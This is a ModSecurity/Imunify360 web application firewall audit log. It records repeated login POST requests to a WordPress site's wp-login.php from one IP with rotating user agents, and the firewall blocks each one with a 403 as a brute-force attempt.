--28453b70-Z--
--97e22f04-A--
[13/Sep/2026:18:39:38.244113 +0300] aqbDuvut1GUrjaX0wO45BAAAAMg 134.185.87.66 35478 127.0.0.1 7081
--97e22f04-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--97e22f04-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--97e22f04-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313978242423 1745 (- - -)
Stopwatch2: 1789313978242423 1745; combined=558, p1=249, p2=65, p3=0, p4=0, p5=244, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--97e22f04-Z--
--5980ff28-A--
[13/Sep/2026:18:39:38.636321 +0300] aqbDuvut1GUrjaX0wO45BQAAAMw 134.185.87.66 35488 127.0.0.1 7081
--5980ff28-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5980ff28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5980ff28-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313978634692 1715 (- - -)
Stopwatch2: 1789313978634692 1715; combined=613, p1=246, p2=64, p3=0, p4=0, p5=303, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5980ff28-Z--
--209e7a12-A--
[13/Sep/2026:18:39:39.026382 +0300] aqbDu-ut1GUrjaX0wO45BwAAAMQ 134.185.87.66 35518 127.0.0.1 7081
--209e7a12-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--209e7a12-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--209e7a12-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979024814 1623 (- - -)
Stopwatch2: 1789313979024814 1623; combined=541, p1=222, p2=66, p3=0, p4=0, p5=253, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--209e7a12-Z--
--aafd7372-A--
[13/Sep/2026:18:39:39.406467 +0300] aqbDu1dqBhgxDSpG7haLGQAAAFU 134.185.87.66 35530 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979404810 1732 (- - -)
Stopwatch2: 1789313979404810 1732; combined=544, p1=247, p2=66, p3=0, p4=0, p5=231, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aafd7372-Z--
--9b814d54-A--
[13/Sep/2026:18:39:39.787252 +0300] aqbDu-ut1GUrjaX0wO45CQAAAMc 134.185.87.66 35536 127.0.0.1 7081
--9b814d54-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9b814d54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9b814d54-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979785254 2053 (- - -)
Stopwatch2: 1789313979785254 2053; combined=634, p1=271, p2=79, p3=0, p4=0, p5=284, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9b814d54-Z--
--bfa4415c-A--
[13/Sep/2026:18:39:40.172148 +0300] aqbDvPut1GUrjaX0wO45CgAAAMM 134.185.87.66 35560 127.0.0.1 7081
--bfa4415c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--bfa4415c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--bfa4415c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980170356 1890 (- - -)
Stopwatch2: 1789313980170356 1890; combined=710, p1=322, p2=121, p3=0, p4=0, p5=267, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bfa4415c-Z--
--f4a2ad3b-A--
[13/Sep/2026:18:39:40.558842 +0300] aqbDvBsbgHO3aGL3jiTwvgAAAAY 134.185.87.66 35576 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980557111 1786 (- - -)
Stopwatch2: 1789313980557111 1786; combined=568, p1=254, p2=66, p3=0, p4=0, p5=248, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4a2ad3b-Z--
--51df3f00-A--
[13/Sep/2026:18:39:40.946319 +0300] aqbDvPut1GUrjaX0wO45DAAAANc 134.185.87.66 35600 127.0.0.1 7081
--51df3f00-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 103
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--51df3f00-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--51df3f00-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980944713 1661 (- - -)
Stopwatch2: 1789313980944713 1661; combined=579, p1=291, p2=60, p3=0, p4=0, p5=228, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--51df3f00-Z--
--9e98ce07-A--
[13/Sep/2026:18:39:41.333827 +0300] aqbDvUhjHs68UzErry1K2QAAAIw 134.185.87.66 35618 127.0.0.1 7081
--9e98ce07-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9e98ce07-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9e98ce07-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313981331852 2050 (- - -)
Stopwatch2: 1789313981331852 2050; combined=628, p1=249, p2=77, p3=0, p4=0, p5=302, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9e98ce07-Z--
--6e23ad67-A--
[13/Sep/2026:18:39:41.716891 +0300] aqbDvUhjHs68UzErry1K2gAAAJA 134.185.87.66 35638 127.0.0.1 7081
--6e23ad67-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6e23ad67-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6e23ad67-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313981715049 1913 (- - -)
Stopwatch2: 1789313981715049 1913; combined=683, p1=259, p2=94, p3=0, p4=0, p5=330, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e23ad67-Z--
--29ab295f-A--
[13/Sep/2026:18:39:42.100581 +0300] aqbDvvut1GUrjaX0wO45EAAAANM 134.185.87.66 35652 127.0.0.1 7081
--29ab295f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--29ab295f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--29ab295f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982097506 3325 (- - -)
Stopwatch2: 1789313982097506 3325; combined=1304, p1=515, p2=126, p3=0, p4=0, p5=662, sr=235, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--29ab295f-Z--
--7d50f43a-A--
[13/Sep/2026:18:39:42.491438 +0300] aqbDvvut1GUrjaX0wO45EgAAAMo 134.185.87.66 35666 127.0.0.1 7081
--7d50f43a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7d50f43a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7d50f43a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982489808 1685 (- - -)
Stopwatch2: 1789313982489808 1685; combined=598, p1=279, p2=83, p3=0, p4=0, p5=236, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d50f43a-Z--
--66890359-A--
[13/Sep/2026:18:39:42.875756 +0300] aqbDvvut1GUrjaX0wO45FAAAANE 134.185.87.66 35688 127.0.0.1 7081
--66890359-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--66890359-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--66890359-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982872297 3582 (- - -)
Stopwatch2: 1789313982872297 3582; combined=1590, p1=853, p2=152, p3=0, p4=0, p5=585, sr=396, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--66890359-Z--
--9efaaf47-A--
[13/Sep/2026:18:39:43.253152 +0300] aqbDv1dqBhgxDSpG7haLGwAAAFY 134.185.87.66 35712 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313983251516 1701 (- - -)
Stopwatch2: 1789313983251516 1701; combined=543, p1=259, p2=66, p3=0, p4=0, p5=217, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9efaaf47-Z--
--7eca2c64-A--
[13/Sep/2026:18:39:43.634057 +0300] aqbDv0hjHs68UzErry1K2wAAAJM 134.185.87.66 35728 127.0.0.1 7081
--7eca2c64-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7eca2c64-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7eca2c64-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313983632519 1602 (- - -)
Stopwatch2: 1789313983632519 1602; combined=537, p1=257, p2=63, p3=0, p4=0, p5=217, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7eca2c64-Z--
--aa60bd76-A--
[13/Sep/2026:18:39:44.021001 +0300] aqbDwBsbgHO3aGL3jiTwvwAAABQ 134.185.87.66 35740 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aa60bd76-H--
